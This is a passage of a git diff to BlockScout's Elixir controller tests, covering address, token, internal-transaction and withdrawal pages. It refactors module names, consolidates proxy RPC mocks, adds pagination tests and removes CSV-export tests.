"/address/0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed") + conn = get(conn, "/address/#{Address.checksum("0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed")}") assert html_response(conn, 200) end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_internal_transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_internal_transaction_controller_test.exs index a78aff76af6e..fe92511fe0a5 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_internal_transaction_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_internal_transaction_controller_test.exs @@ -1,11 +1,11 @@ defmodule BlockScoutWeb.AddressInternalTransactionControllerTest do use BlockScoutWeb.ConnCase, async: true - import BlockScoutWeb.WebRouter.Helpers, + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [address_internal_transaction_path: 3, address_internal_transaction_path: 4] alias Explorer.Chain.{Address, Block, InternalTransaction, Transaction} - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token describe "GET index/3" do test "with invalid address hash", %{conn: conn} do @@ -16,18 +16,20 @@ defmodule BlockScoutWeb.AddressInternalTransactionControllerTest do assert html_response(conn, 404) end - test "with valid address hash without address", %{conn: conn} do - conn = - get( - conn, - address_internal_transaction_path( + if Application.compile_env(:explorer, :chain_type) !== :rsk do + test "with valid address hash without address", %{conn: conn} do + conn = + get( conn, - :index, - Address.checksum("0x8bf38d4764929064f2d4d3a56520a76ab3df415b") + address_internal_transaction_path( + conn, + :index, + Address.checksum("0x8bf38d4764929064f2d4d3a56520a76ab3df415b") + ) ) - ) - assert html_response(conn, 200) + assert html_response(conn, 200) + end end test "includes USD exchange rate value for address in assigns", %{conn: conn} do @@ -328,6 +330,170 @@ defmodule BlockScoutWeb.AddressInternalTransactionControllerTest do end) end + test "next page doesn't miss internal transactions", %{conn: conn} do + address = insert(:address) + + a_block = insert(:block, number: 1000) + b_block = insert(:block, number: 2000) + + transaction_1 = + :transaction + |> insert() + |> with_block(a_block) + + transaction_2 = + :transaction + |> insert() + |> with_block(a_block) + + transaction_3 = + :transaction + |> insert() + |> with_block(b_block) + + from_internal_transactions = + 1..55 + |> Enum.map(fn index -> + insert( + :internal_transaction, + transaction: transaction_1, + from_address: address, + index: index, + block_number: transaction_1.block_number, + transaction_index: transaction_1.index, + block_hash: a_block.hash, + block_index: index + ) + end) + + to_internal_transactions = + 1..55 + |> Enum.map(fn index -> + insert( + :internal_transaction, + transaction: transaction_2, + to_address: address, + index: index, + block_number: transaction_2.block_number, + transaction_index: transaction_2.index, + block_hash: a_block.hash, + block_index: 55 + index + ) + end) + + created_contract_internal_transactions = + 1..55 + |> Enum.map(fn index -> + insert( + :internal_transaction, + transaction: transaction_3, + created_contract_address: address, + index: index, + block_number: transaction_3.block_number, + transaction_index: transaction_3.index, + block_hash: b_block.hash, + block_index: index + ) + end) + + {second_page_contract_items, first_page_items} = Enum.split(created_contract_internal_transactions, 5) + {third_page_to_items, second_page_to_items} = Enum.split(to_internal_transactions, 10) + {fourth_page_items, third_page_from_items} = Enum.split(from_internal_transactions, 15) + + second_page_items = second_page_contract_items ++ second_page_to_items + third_page_items = third_page_to_items ++ third_page_from_items + + path = address_internal_transaction_path(BlockScoutWeb.Endpoint, :index, Address.checksum(address.hash)) + + empty_page_response = + conn + |> get(path, %{ + "block_number" => Integer.to_string(0), + "transaction_index" => Integer.to_string(0), + "index" => "0", + "type" => "JSON" + }) + |> json_response(200) + |> Map.get("items") + + assert Enum.count(empty_page_response) == 0 + + first_page_response = + conn + |> get(path, %{"type" => "JSON"}) + |> json_response(200) + |> Map.get("items") + + second_page_response = + conn + |> get(path, %{ + "block_number" => Integer.to_string(b_block.number), + "transaction_index" => Integer.to_string(transaction_3.index), + "index" => "6", + "type" => "JSON" + }) + |> json_response(200) + |> Map.get("items") + + third_page_response = + conn + |> get(path, %{ + "block_number" => Integer.to_string(a_block.number), + "transaction_index" => Integer.to_string(transaction_2.index), + "index" => "11", + "type" => "JSON" + }) + |> json_response(200) + |> Map.get("items") + + fourth_page_response = + conn + |> get(path, %{ + "block_number" => Integer.to_string(a_block.number), + "transaction_index" => Integer.to_string(transaction_1.index), + "index" => "16", + "type" => "JSON" + }) + |> json_response(200) + |> Map.get("items") + + assert Enum.count(first_page_response) == 50 + + assert Enum.all?(first_page_items, fn internal_transaction -> + Enum.any?(first_page_response, fn tile -> + String.contains?(tile, to_string(internal_transaction.transaction_hash)) && + String.contains?(tile, "data-internal-transaction-index=\"#{internal_transaction.index}\"") + end) + end) + + assert Enum.count(second_page_response) == 50 + + assert Enum.all?(second_page_items, fn internal_transaction -> + Enum.any?(second_page_response, fn tile -> + String.contains?(tile, to_string(internal_transaction.transaction_hash)) && + String.contains?(tile, "data-internal-transaction-index=\"#{internal_transaction.index}\"") + end) + end) + + assert Enum.count(third_page_response) == 50 + + assert Enum.all?(third_page_items, fn internal_transaction -> + Enum.any?(third_page_response, fn tile -> + String.contains?(tile, to_string(internal_transaction.transaction_hash)) && + String.contains?(tile, "data-internal-transaction-index=\"#{internal_transaction.index}\"") + end) + end) + + assert Enum.count(fourth_page_response) == 15 + + assert Enum.all?(fourth_page_items, fn internal_transaction -> + Enum.any?(fourth_page_response, fn tile -> + String.contains?(tile, to_string(internal_transaction.transaction_hash)) && + String.contains?(tile, "data-internal-transaction-index=\"#{internal_transaction.index}\"") + end) + end) + end + test "next_page_params exist if not on last page", %{conn: conn} do address = insert(:address) block = %Block{number: number} = insert(:block, number: 7000) @@ -362,10 +528,10 @@ defmodule BlockScoutWeb.AddressInternalTransactionControllerTest do expected_response = address_internal_transaction_path(BlockScoutWeb.Endpoint, :index, address.hash, %{ - "block_number" => number, - "index" => 11, - "transaction_index" => transaction_index, - "items_count" => "50" + block_number: number, + index: 11, + transaction_index: transaction_index, + items_count: "50" }) assert expected_response == json_response(conn, 200)["next_page_path"] @@ -387,7 +553,8 @@ defmodule BlockScoutWeb.AddressInternalTransactionControllerTest do from_address: address, index: index, block_hash: transaction.block_hash, - block_index: index + block_index: index, + block_number: transaction.block_number ) end) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_read_contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_read_contract_controller_test.exs index 6a01c126d7ab..09d7835f6352 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_read_contract_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_read_contract_controller_test.exs @@ -2,25 +2,17 @@ defmodule BlockScoutWeb.AddressReadContractControllerTest do use BlockScoutWeb.ConnCase, async: true use ExUnit.Case, async: false - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token alias Explorer.Chain.Address + alias Explorer.TestHelper import Mox + setup :verify_on_exit! + describe "GET index/3" do setup :set_mox_global - setup do - configuration = Application.get_env(:explorer, :checksum_function) - Application.put_env(:explorer, :checksum_function, :eth) - - :ok - - on_exit(fn -> - Application.put_env(:explorer, :checksum_function, configuration) - end) - end - test "with invalid address hash", %{conn: conn} do conn = get(conn, address_read_contract_path(BlockScoutWeb.Endpoint, :index, "invalid_address")) @@ -51,7 +43,8 @@ defmodule BlockScoutWeb.AddressReadContractControllerTest do insert(:smart_contract, address_hash: contract_address.hash, contract_code_md5: "123") - get_eip1967_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() conn = get(conn, address_read_contract_path(BlockScoutWeb.Endpoint, :index, Address.checksum(contract_address.hash))) @@ -81,50 +74,4 @@ defmodule BlockScoutWeb.AddressReadContractControllerTest do assert html_response(conn, 404) end end - - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect( - :json_rpc, - fn [%{id: id, method: "eth_getCode", params: [_, _]}], _options -> - {:ok, [%{id: id, jsonrpc: "2.0", result: "0x0"}]} - end - ) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_read_proxy_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_read_proxy_controller_test.exs index 4551ef0299e5..b1f72acf031e 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_read_proxy_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_read_proxy_controller_test.exs @@ -2,25 +2,17 @@ defmodule BlockScoutWeb.AddressReadProxyControllerTest do use BlockScoutWeb.ConnCase, async: true use ExUnit.Case, async: false - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token alias Explorer.Chain.Address + alias Explorer.TestHelper import Mox + setup :verify_on_exit! + describe "GET index/3" do setup :set_mox_global - setup do - configuration = Application.get_env(:explorer, :checksum_function) - Application.put_env(:explorer, :checksum_function, :eth) - - :ok - - on_exit(fn -> - Application.put_env(:explorer, :checksum_function, configuration) - end) - end - test "with invalid address hash", %{conn: conn} do conn = get(conn, address_read_proxy_path(BlockScoutWeb.Endpoint, :index, "invalid_address")) @@ -51,7 +43,8 @@ defmodule BlockScoutWeb.AddressReadProxyControllerTest do insert(:smart_contract, address_hash: contract_address.hash, contract_code_md5: "123") - get_eip1967_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() conn = get(conn, address_read_proxy_path(BlockScoutWeb.Endpoint, :index, Address.checksum(contract_address.hash))) @@ -79,50 +72,4 @@ defmodule BlockScoutWeb.AddressReadProxyControllerTest do assert html_response(conn, 404) end end - - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect( - :json_rpc, - fn [%{id: id, method: "eth_getCode", params: [_, _]}], _options -> - {:ok, [%{id: id, jsonrpc: "2.0", result: "0x0"}]} - end - ) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_token_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_token_controller_test.exs index c5478861c7f7..bfbc172befea 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_token_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_token_controller_test.exs @@ -2,7 +2,7 @@ defmodule BlockScoutWeb.AddressTokenControllerTest do use BlockScoutWeb.ConnCase, async: true use ExUnit.Case, async: false - import BlockScoutWeb.WebRouter.Helpers, only: [address_token_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [address_token_path: 3] import Mox alias Explorer.Chain.{Address, Token} @@ -10,17 +10,6 @@ defmodule BlockScoutWeb.AddressTokenControllerTest do describe "GET index/2" do setup :set_mox_global - setup do - configuration = Application.get_env(:explorer, :checksum_function) - Application.put_env(:explorer, :checksum_function, :eth) - - :ok - - on_exit(fn -> - Application.put_env(:explorer, :checksum_function, configuration) - end) - end - test "with invalid address hash", %{conn: conn} do conn = get(conn, address_token_path(conn, :index, "invalid_address")) @@ -130,6 +119,68 @@ defmodule BlockScoutWeb.AddressTokenControllerTest do end) end + test "returns next page of results based on last seen token for erc-1155", %{conn: conn} do + address = insert(:address) + + 1..51 + |> Enum.reduce([], fn _i, acc -> + token = insert(:token, name: "FN2 Token", type: "ERC-1155") + + insert( + :address_current_token_balance, + token_contract_address_hash: token.contract_address_hash, + address: address, + value: 3 + ) + + acc ++ [token.name] + end) + + conn = + get(conn, address_token_path(BlockScoutWeb.Endpoint, :index, Address.checksum(address.hash)), %{ + "type" => "JSON" + }) + + assert response = json_response(conn, 200) + + request_2nd_page = get(conn, response["next_page_path"], %{"type" => "JSON"}) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert 1 = length(response_2nd_page["items"]) + end + + test "returns next page of results based on last seen token for erc-404", %{conn: conn} do + address = insert(:address) + + 1..51 + |> Enum.reduce([], fn _i, acc -> + token = insert(:token, name: "FN2 Token", type: "ERC-404") + + insert( + :address_current_token_balance, + token_contract_address_hash: token.contract_address_hash, + address: address, + value: 3 + ) + + acc ++ [token.name] + end) + + conn = + get(conn, address_token_path(BlockScoutWeb.Endpoint, :index, Address.checksum(address.hash)), %{ + "type" => "JSON" + }) + + assert response = json_response(conn, 200) + + request_2nd_page = get(conn, response["next_page_path"], %{"type" => "JSON"}) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert 1 = length(response_2nd_page["items"]) + end + test "next_page_params exists if not on last page", %{conn: conn} do address = insert(:address) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_token_transfer_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_token_transfer_controller_test.exs index f8a6602b8f67..e6ea85081b45 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_token_transfer_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_token_transfer_controller_test.exs @@ -1,7 +1,7 @@ defmodule BlockScoutWeb.AddressTokenTransferControllerTest do use BlockScoutWeb.ConnCase - import BlockScoutWeb.WebRouter.Helpers, + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [address_token_transfers_path: 4, address_token_transfers_path: 5] alias Explorer.Chain.{Address, Token} @@ -207,11 +207,9 @@ defmodule BlockScoutWeb.AddressTokenTransferControllerTest do :index, Address.checksum(address.hash), Address.checksum(token.contract_address_hash), - %{ - block_number: page_last_transfer.block_number, - index: page_last_transfer.index, - items_count: "50" - } + block_number: page_last_transfer.block_number, + index: page_last_transfer.index, + items_count: "50" ) assert Map.get(json_response(conn, 200), "next_page_path") == expected_path diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_transaction_controller_test.exs index 159c1be26179..57e6c0f3ab29 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_transaction_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_transaction_controller_test.exs @@ -2,46 +2,37 @@ defmodule BlockScoutWeb.AddressTransactionControllerTest do use BlockScoutWeb.ConnCase, async: true use ExUnit.Case, async: false - import BlockScoutWeb.WebRouter.Helpers, only: [address_transaction_path: 3, address_transaction_path: 4] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [address_transaction_path: 3, address_transaction_path: 4] import Mox alias Explorer.Chain.{Address, Transaction} - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token setup :verify_on_exit! describe "GET index/2" do setup :set_mox_global - setup do - configuration = Application.get_env(:explorer, :checksum_function) - Application.put_env(:explorer, :checksum_function, :eth) - - :ok - - on_exit(fn -> - Application.put_env(:explorer, :checksum_function, configuration) - end) - end - test "with invalid address hash", %{conn: conn} do conn = get(conn, address_transaction_path(conn, :index, "invalid_address")) assert html_response(conn, 422) end - test "with valid address hash without address in the DB", %{conn: conn} do - conn = - get( - conn, - address_transaction_path(conn, :index, Address.checksum("0x8bf38d4764929064f2d4d3a56520a76ab3df415b"), %{ - "type" => "JSON" - }) - ) - - assert json_response(conn, 200) - transaction_tiles = json_response(conn, 200)["items"] - assert transaction_tiles |> length() == 0 + if Application.compile_env(:explorer, :chain_type) !== :rsk do + test "with valid address hash without address in the DB", %{conn: conn} do + conn = + get( + conn, + address_transaction_path(conn, :index, Address.checksum("0x8bf38d4764929064f2d4d3a56520a76ab3df415b"), %{ + "type" => "JSON" + }) + ) + + assert json_response(conn, 200) + transaction_tiles = json_response(conn, 200)["items"] + assert transaction_tiles |> length() == 0 + end end test "returns transactions for the address", %{conn: conn} do @@ -159,247 +150,4 @@ defmodule BlockScoutWeb.AddressTransactionControllerTest do end) end end - - describe "GET token-transfers-csv/2" do - test "do not export token transfers to csv without recaptcha recaptcha_response provided", %{conn: conn} do - BlockScoutWeb.TestCaptchaHelper - |> expect(:recaptcha_passed?, fn _captcha_response -> false end) - - address = insert(:address) - - transaction = - :transaction - |> insert(from_address: address) - |> with_block() - - insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) - insert(:token_transfer, transaction: transaction, to_address: address, block_number: transaction.block_number) - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - conn = - get(conn, "/token-transfers-csv", %{ - "address_id" => Address.checksum(address.hash), - "from_period" => from_period, - "to_period" => to_period - }) - - assert conn.status == 404 - end - - test "do not export token transfers to csv without recaptcha passed", %{conn: conn} do - BlockScoutWeb.TestCaptchaHelper - |> expect(:recaptcha_passed?, fn _captcha_response -> false end) - - address = insert(:address) - - transaction = - :transaction - |> insert(from_address: address) - |> with_block() - - insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) - insert(:token_transfer, transaction: transaction, to_address: address, block_number: transaction.block_number) - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - conn = - get(conn, "/token-transfers-csv", %{ - "address_id" => Address.checksum(address.hash), - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => "123" - }) - - assert conn.status == 404 - end - - test "exports token transfers to csv", %{conn: conn} do - BlockScoutWeb.TestCaptchaHelper - |> expect(:recaptcha_passed?, fn _captcha_response -> true end) - - address = insert(:address) - - transaction = - :transaction - |> insert(from_address: address) - |> with_block() - - insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) - insert(:token_transfer, transaction: transaction, to_address: address, block_number: transaction.block_number) - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - conn = - get(conn, "/token-transfers-csv", %{ - "address_id" => Address.checksum(address.hash), - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => "123" - }) - - assert conn.resp_body |> String.split("\n") |> Enum.count() == 4 - end - end - - describe "GET transactions_csv/2" do - test "download csv file with transactions", %{conn: conn} do - BlockScoutWeb.TestCaptchaHelper - |> expect(:recaptcha_passed?, fn _captcha_response -> true end) - - address = insert(:address) - - :transaction - |> insert(from_address: address) - |> with_block() - - :transaction - |> insert(from_address: address) - |> with_block() - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - conn = - get(conn, "/transactions-csv", %{ - "address_id" => Address.checksum(address.hash), - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => "123" - }) - - assert conn.resp_body |> String.split("\n") |> Enum.count() == 4 - end - end - - describe "GET internal_transactions_csv/2" do - test "download csv file with internal transactions", %{conn: conn} do - BlockScoutWeb.TestCaptchaHelper - |> expect(:recaptcha_passed?, fn _captcha_response -> true end) - - address = insert(:address) - - transaction_1 = - :transaction - |> insert() - |> with_block() - - transaction_2 = - :transaction - |> insert() - |> with_block() - - transaction_3 = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction, - index: 3, - transaction: transaction_1, - from_address: address, - block_number: transaction_1.block_number, - block_hash: transaction_1.block_hash, - block_index: 0, - transaction_index: transaction_1.index - ) - - insert(:internal_transaction, - index: 1, - transaction: transaction_2, - to_address: address, - block_number: transaction_2.block_number, - block_hash: transaction_2.block_hash, - block_index: 1, - transaction_index: transaction_2.index - ) - - insert(:internal_transaction, - index: 2, - transaction: transaction_3, - created_contract_address: address, - block_number: transaction_3.block_number, - block_hash: transaction_3.block_hash, - block_index: 2, - transaction_index: transaction_3.index - ) - - from_period = Timex.format!(Timex.shift(Timex.now(), years: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - conn = - get(conn, "/internal-transactions-csv", %{ - "address_id" => Address.checksum(address.hash), - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => "123" - }) - - assert conn.resp_body |> String.split("\n") |> Enum.count() == 5 - end - end - - describe "GET logs_csv/2" do - test "download csv file with logs", %{conn: conn} do - BlockScoutWeb.TestCaptchaHelper - |> expect(:recaptcha_passed?, fn _captcha_response -> true end) - - address = insert(:address) - - transaction_1 = - :transaction - |> insert() - |> with_block() - - insert(:log, - address: address, - index: 3, - transaction: transaction_1, - block: transaction_1.block, - block_number: transaction_1.block_number - ) - - transaction_2 = - :transaction - |> insert() - |> with_block() - - insert(:log, - address: address, - index: 1, - transaction: transaction_2, - block: transaction_2.block, - block_number: transaction_2.block_number - ) - - transaction_3 = - :transaction - |> insert() - |> with_block() - - insert(:log, - address: address, - index: 2, - transaction: transaction_3, - block: transaction_3.block, - block_number: transaction_3.block_number - ) - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - conn = - get(conn, "/logs-csv", %{ - "address_id" => Address.checksum(address.hash), - "from_period" => from_period, - "to_period" => to_period, - "recaptcha_response" => "123" - }) - - assert conn.resp_body |> String.split("\n") |> Enum.count() == 5 - end - end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_withdrawal_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_withdrawal_controller_test.exs new file mode 100644 index 000000000000..c4cb8310ffd9 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_withdrawal_controller_test.exs @@ -0,0 +1,116 @@ +defmodule BlockScoutWeb.AddressWithdrawalControllerTest do + use BlockScoutWeb.ConnCase, async: true + use ExUnit.Case, async: false + + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [address_withdrawal_path: 3, address_withdrawal_path: 4] + import BlockScoutWeb.WeiHelper, only: [format_wei_value: 2] + import Mox + + alias Explorer.Chain.Address + alias Explorer.Market.Token + + setup :verify_on_exit! + + describe "GET index/2" do + setup :set_mox_global + + test "with invalid address hash", %{conn: conn} do + conn = get(conn, address_withdrawal_path(conn, :index, "invalid_address")) + + assert html_response(conn, 422) + end + + if Application.compile_env(:explorer, :chain_type) !== :rsk do + test "with valid address hash without address in the DB", %{conn: conn} do + conn = + get( + conn, + address_withdrawal_path(conn, :index, Address.checksum("0x8bf38d4764929064f2d4d3a56520a76ab3df415b"), %{ + "type" => "JSON" + }) + ) + + assert json_response(conn, 200) + tiles = json_response(conn, 200)["items"] + assert tiles |> length() == 0 + end + end + + test "returns withdrawals for the address", %{conn: conn} do + address = insert(:address, withdrawals: insert_list(30, :withdrawal)) + + # to check that we can correctly render address overview + get(conn, address_withdrawal_path(conn, :index, Address.checksum(address))) + + conn = get(conn, address_withdrawal_path(conn, :index, Address.checksum(address), %{"type" => "JSON"})) + + tiles = json_response(conn, 200)["items"] + indexes = Enum.map(address.withdrawals, &to_string(&1.index)) + + assert Enum.all?(indexes, fn index -> + Enum.any?(tiles, &String.contains?(&1, index)) + end) + end + + test "includes USD exchange rate value for address in assigns", %{conn: conn} do + address = insert(:address) + + conn = get(conn, address_withdrawal_path(BlockScoutWeb.Endpoint, :index, Address.checksum(address.hash))) + + assert %Token{} = conn.assigns.exchange_rate + end + + test "returns next page of results based on last seen withdrawal", %{conn: conn} do + address = insert(:address, withdrawals: insert_list(60, :withdrawal)) + + {first_page, second_page} = + address.withdrawals + |> Enum.sort(&(&1.index >= &2.index)) + |> Enum.split(51) + + conn = + get(conn, address_withdrawal_path(BlockScoutWeb.Endpoint, :index, Address.checksum(address.hash)), %{ + "index" => first_page |> List.last() |> (& &1.index).() |> Integer.to_string(), + "type" => "JSON" + }) + + tiles = json_response(conn, 200)["items"] + + assert Enum.all?(second_page, fn withdrawal -> + Enum.any?(tiles, fn tile -> + # more strict check since simple index could occur in the tile accidentally + String.contains?(tile, to_string(withdrawal.index)) and + String.contains?(tile, to_string(withdrawal.validator_index)) and + String.contains?(tile, to_string(withdrawal.block.number)) and + String.contains?(tile, format_wei_value(withdrawal.amount, :ether)) + end) + end) + + refute Enum.any?(first_page, fn withdrawal -> + Enum.any?(tiles, fn tile -> + # more strict check since simple index could occur in the tile accidentally + String.contains?(tile, to_string(withdrawal.index)) and + String.contains?(tile, to_string(withdrawal.validator_index)) and + String.contains?(tile, to_string(withdrawal.block.number)) and + String.contains?(tile, format_wei_value(withdrawal.amount, :ether)) + end) + end) + end + + test "next_page_params exist if not on last page", %{conn: conn} do + address = insert(:address, withdrawals: insert_list(51, :withdrawal)) + + conn = get(conn, address_withdrawal_path(conn, :index, Address.checksum(address.hash), %{"type" => "JSON"})) + + assert json_response(conn, 200)["next_page_path"] + end + + test "next_page_params are empty if on last page", %{conn: conn} do + address = insert(:address, withdrawals: insert_list(1, :withdrawal)) + + conn = get(conn, address_withdrawal_path(conn, :index, Address.checksum(address.hash), %{"type" => "JSON"})) + + refute json_response(conn, 200)["next_page_path"] + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_write_contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_write_contract_controller_test.exs index 72b9a8ea5245..654a57e58f25 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_write_contract_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_write_contract_controller_test.exs @@ -2,27 +2,19 @@ defmodule BlockScoutWeb.AddressWriteContractControllerTest do use BlockScoutWeb.ConnCase, async: true use ExUnit.Case, async: false - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token alias Explorer.Chain.Address + alias Explorer.TestHelper use EthereumJSONRPC.Case, async: false import Mox + setup :verify_on_exit! + describe "GET index/3" do setup :set_mox_global - setup do - configuration = Application.get_env(:explorer, :checksum_function) - Application.put_env(:explorer, :checksum_function, :eth) - - :ok - - on_exit(fn -> - Application.put_env(:explorer, :checksum_function, configuration) - end) - end - test "with invalid address hash", %{conn: conn} do conn = get(conn, address_write_contract_path(BlockScoutWeb.Endpoint, :index, "invalid_address")) @@ -53,7 +45,8 @@ defmodule BlockScoutWeb.AddressWriteContractControllerTest do insert(:smart_contract, address_hash: contract_address.hash, contract_code_md5: "123") - get_eip1967_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() conn = get(conn, address_write_contract_path(BlockScoutWeb.Endpoint, :index, Address.checksum(contract_address.hash))) @@ -83,50 +76,4 @@ defmodule BlockScoutWeb.AddressWriteContractControllerTest do assert html_response(conn, 404) end end - - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect( - :json_rpc, - fn [%{id: id, method: "eth_getCode", params: [_, _]}], _options -> - {:ok, [%{id: id, jsonrpc: "2.0", result: "0x0"}]} - end - ) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_write_proxy_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_write_proxy_controller_test.exs index 300023552a75..f004a761072c 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_write_proxy_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_write_proxy_controller_test.exs @@ -2,25 +2,17 @@ defmodule BlockScoutWeb.AddressWriteProxyControllerTest do use BlockScoutWeb.ConnCase, async: true use ExUnit.Case, async: false - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token alias Explorer.Chain.Address + alias Explorer.TestHelper import Mox + setup :verify_on_exit! + describe "GET index/3" do setup :set_mox_global - setup do - configuration = Application.get_env(:explorer, :checksum_function) - Application.put_env(:explorer, :checksum_function, :eth) - - :ok - - on_exit(fn -> - Application.put_env(:explorer, :checksum_function, configuration) - end) - end - test "with invalid address hash", %{conn: conn} do 